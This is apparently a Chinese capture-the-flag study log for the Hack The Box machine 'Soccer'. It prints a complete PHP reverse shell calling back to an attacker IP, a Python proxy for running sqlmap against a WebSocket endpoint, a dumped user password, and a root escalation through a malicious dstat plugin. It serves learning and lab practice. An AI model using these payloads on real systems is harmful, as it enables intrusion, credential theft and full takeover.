HTB 靶机 Soccer 学习记录
外网打点 拿到 IP 10.10.11.194,扫出来一个 80 端口,一个 9091 端口
去到 10.10.11.194,发现完全没什么可利用的东西,用 dirsearch 先扫描一下目录,发现存在一个 /tiny
的路径
随便输入一点数据探测一下,发现这里其实是一个开源组件,ref 处是 https://tinyfilemanager.github.io/
版本为 2.4.3,通过搜索,发现 V2.4.3 在文件上传的地方,存在一个目录遍历的漏洞,可以 RCE 打
但是这里的前提是我们能够登录进去,所以怀疑这里是否存在弱口令,或者是默认密码,经过搜索我发现这里默认的用户名密码是 admin,admin@123,成功登录
接着发现有一个文件上传的接口,直接上传会回显 —— the directory is not writeable
,我们去到 tiny/upload/this
这个文件夹下进行上传。
上传一个反弹 shell 的 php 文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 <?php set_time_limit (0 );$VERSION = "1.0" ;$ip = '10.10.14.42' ; $port = 2929 ; $chunk_size = 1400 ;$write_a = null ;$error_a = null ;$shell = 'uname -a; w; id; /bin/sh -i' ;$daemon = 0 ;$debug = 0 ;if (function_exists ('pcntl_fork' )) { $pid = pcntl_fork (); if ($pid == -1 ) { printit ("ERROR: Can't fork" ); exit (1 ); } if ($pid ) { exit (0 ); } if (posix_setsid () == -1 ) { printit ("Error: Can't setsid()" ); exit (1 ); } $daemon = 1 ; } else { printit ("WARNING: Failed to daemonise. This is quite common and not fatal." ); } chdir ("/" );umask (0 );$sock = fsockopen ($ip , $port , $errno , $errstr , 30 );if (!$sock ) { printit ("$errstr ($errno )" ); exit (1 ); } $descriptorspec = array ( 0 => array ("pipe" , "r" ), 1 => array ("pipe" , "w" ), 2 => array ("pipe" , "w" ) ); $process = proc_open ($shell , $descriptorspec , $pipes );if (!is_resource ($process )) { printit ("ERROR: Can't spawn shell" ); exit (1 ); } stream_set_blocking ($pipes [0 ], 0 );stream_set_blocking ($pipes [1 ], 0 );stream_set_blocking ($pipes [2 ], 0 );stream_set_blocking ($sock , 0 );printit ("Successfully opened reverse shell to $ip :$port " );while (1 ) { if (feof ($sock )) { printit ("ERROR: Shell connection terminated" ); break ; } if (feof ($pipes [1 ])) { printit ("ERROR: Shell process terminated" ); break ; } $read_a = array ($sock , $pipes [1 ], $pipes [2 ]); $num_changed_sockets = stream_select ($read_a , $write_a , $error_a , null ); if (in_array ($sock , $read_a )) { if ($debug ) printit ("SOCK READ" ); $input = fread ($sock , $chunk_size ); if ($debug ) printit ("SOCK: $input " ); fwrite ($pipes [0 ], $input ); } if (in_array ($pipes [1 ], $read_a )) { if ($debug ) printit ("STDOUT READ" ); $input = fread ($pipes [1 ], $chunk_size ); if ($debug ) printit ("STDOUT: $input " ); fwrite ($sock , $input ); } if (in_array ($pipes [2 ], $read_a )) { if ($debug ) printit ("STDERR READ" ); $input = fread ($pipes [2 ], $chunk_size ); if ($debug ) printit ("STDERR: $input " ); fwrite ($sock , $input ); } } fclose ($sock );fclose ($pipes [0 ]);fclose ($pipes [1 ]);fclose ($pipes [2 ]);proc_close ($process );function printit ($string ) { if (!$daemon ) { print "$string \n" ; } } ?>
上传成功,点击 open 即可
1 python3 -c "import pty;pty.spawn('/bin/bash')"
去到 /home/player
下发现有一个 user.txt 的文件,但是打不开
猜测需要最终去拿这个点的东西。
内网渗透 拿到 player 用户权限 看一下使用的端口,有没有可能有 MySQL 或者 Redis 这些东西,发现扫出来有 3306 的端口开放
但是没什么用,弱口令打不过去。
再去 etc
文件夹里面尝试发现一些信息,最终是在 /etc/nginx/sites-enabled
里面发现的信息
且我们发现另外一个域名 —— soc-player.htb
,加入域名解析
1 echo 10.10.11.194 soc-player.soccer.htb >> /etc/hosts
再访问 web 页面
登录注册过去,看到一个类似于核验 Ticket 的界面,看着比较像是 SQL 注入,根据不同的回显的 SQL 注入
用 Burpsuite 抓包,可以看到这里不是 HTTP 的包,是 Websocket 的包
对应的代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 var ws = new WebSocket ("ws://soc-player.soccer.htb:9091" );window .onload = function ( ) {var btn = document .getElementById ('btn' );var input = document .getElementById ('id' );ws.onopen = function (e ) { console .log ('connected to the server' ) } input.addEventListener ('keypress' , (e ) => { keyOne (e) }); function keyOne (e ) { e.stopPropagation (); if (e.keyCode === 13 ) { e.preventDefault (); sendText (); } } function sendText ( ) { var msg = input.value ; if (msg.length > 0 ) { ws.send (JSON .stringify ({ "id" : msg })) } else append ("????????" ) } } ws.onmessage = function (e ) { append (e.data )} function append (msg ) {let p = document .querySelector ("p" );p.textContent = msg }
结合前面的思路,尝试一下 Websocket 的 SQL 注入
当 id=65544 or 1=1
返回存在
当 id=65545 or 1=2
返回不存在
所以该接口存在 SQL 注入漏洞
但是传统使用sqlmap 是不能对 ws(websocket)协议进行 SQL 注入的
网上找到一篇文章
https://rayhan0x01.github.io/ctf/2021/04/02/blind-sqli-over-websocket-automation.html
该文章介绍了如何使用 sqlmap 对 ws 接口进行 sql 注入
1.我们主要修改 ws_server 即第6行 (选择数据的目的地点)
2.data 即第15行(数据)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 from http.server import SimpleHTTPRequestHandlerfrom socketserver import TCPServerfrom urllib.parse import unquote, urlparsefrom websocket import create_connectionws_server = "ws://soc-player.soccer.htb:9091/" def send_ws (payload ): ws = create_connection(ws_server) message = unquote(payload).replace('"' ,'\'' ) data = '{"id":"%s"}' % message ws.send(data) resp = ws.recv() ws.close() if resp: return resp else : return '' def middleware_server (host_port,content_type="text/plain" ): class CustomHandler (SimpleHTTPRequestHandler ): def do_GET (self ) -> None : self.send_response(200 ) try : payload = urlparse(self.path).query.split('=' ,1 )[1 ] except IndexError: payload = False if payload: content = send_ws(payload) else : content = 'No parameters specified!' self.send_header("Content-type" , content_type) self.end_headers() self.wfile.write(content.encode()) return class _TCPServer (TCPServer ): allow_reuse_address = True httpd = _TCPServer(host_port, CustomHandler) httpd.serve_forever() print ("[+] Starting MiddleWare Server" )print ("[+] Send payloads in http://localhost:8081/?id=*" )try : middleware_server(('0.0.0.0' ,8081 )) except KeyboardInterrupt: pass
作用就是我们在本地可以通过 8081 这个端口来对该 ws 接口进行请求
1 2 3 使用的时候,使用两个终端 终端1:python3 ws.py 终端2:sqlmap -u http://localhost:8081?id=1 -p id --dump
retrive 出来的内容是这个
1 2 3 4 5 +------+-------------------+----------+----------------------+ | id | email | username | password | +------+-------------------+----------+----------------------+ | 1324 | player@player.htb | player | PlayerOftheMatch2022 | +------+-------------------+----------+----------------------+
拿到 player 用户密码之后 ssh 登录
拿到 root 权限 登录上 player 用户之后,先 cat user.txt
1 c707b6ba14e6d9aae9caec4dba96b667
这其实就是 flag 了,但是 root 里面还有一个 flag,需要我们提权去拿
这里实在是接触到知识盲区了,根据 WP,这里用的是 doas 提权,也可以说本质上还是 find 提权
默认配置文件在/etc/dstat.cong
,但是寻找了一下没有找到,搜寻其他目录
找到/usr/bin/dstat
,找了下这个文件使用方法,可以直接加载/usr/share/dstat/
目录下的脚本
1 2 3 4 5 cd /usr/local/share/dstat/vim dstat_root.py import os os.system('bash -i' )
拿到 shell,权限是 root
1 4764f9c299cf6aca25c65f4874e3a420
小结 外网打点还是用的 CVE,这次的外网打点更为简单了,主要是可以直接上传一个反弹 shell 的文件马,没有必须上传蚁剑马这种,因为蚁剑的每一个终端都是独立的。
内网里面,善于寻找其他开了的服务,可以横向看,nginx,包括其他的
成为 root,多用 find